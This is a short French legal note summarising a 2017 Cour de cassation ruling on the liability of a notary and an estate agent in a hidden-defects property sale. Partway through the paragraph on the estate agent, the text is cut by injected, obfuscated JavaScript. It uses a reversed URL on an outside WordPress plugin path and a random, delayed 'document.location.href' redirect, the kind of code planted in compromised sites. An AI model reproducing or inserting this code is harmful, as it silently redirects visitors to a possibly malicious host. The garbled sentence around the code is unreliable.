Quelle responsabilité dans le cadre d’une action pour vices cachés ?
(Civ.,3ème, 14 décembre 2017, n° 16-24170)
Dans le cadre d’une action pour vices cachés, la Haute juridiction a retenu la responsabilité :
- Du notaire ayant omis de joindre à l’acte de vente le jugement du 25 septembre 1997, qui devait permettre aux acquéreurs de prendre connaissance de l’ampleur réelle du sinistre telle que relevée par l’expert et des préconisations de démolition et de reconstruction retenues pour y remédier,
- De l’agent immobilier qui avait seulement mentionné dans la promesse de vente que les acquéreurs avaient pris connaissance du sinistre résolu relatif à des fissures et que le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dossier avait été clôturé sans solliciter du vendeur plus d’information et de justificatif et sans effectuer plus de recherches.
Toutefois, la Cour de cassation rappelle « que la restitution du prix de vente, à laquelle un vendeur est condamné à la suite de la réduction prévue à l’article 1644 du code civil, ne constitue pas par elle-même un préjudice indemnisable ouvrant droit à réparation au profit de l’acquéreur » et « que la restitution d’une partie du prix de vente et l’indemnité allouée pour la démolition et la reconstruction compensaient l’une et l’autre la perte de l’utilité de la chose. »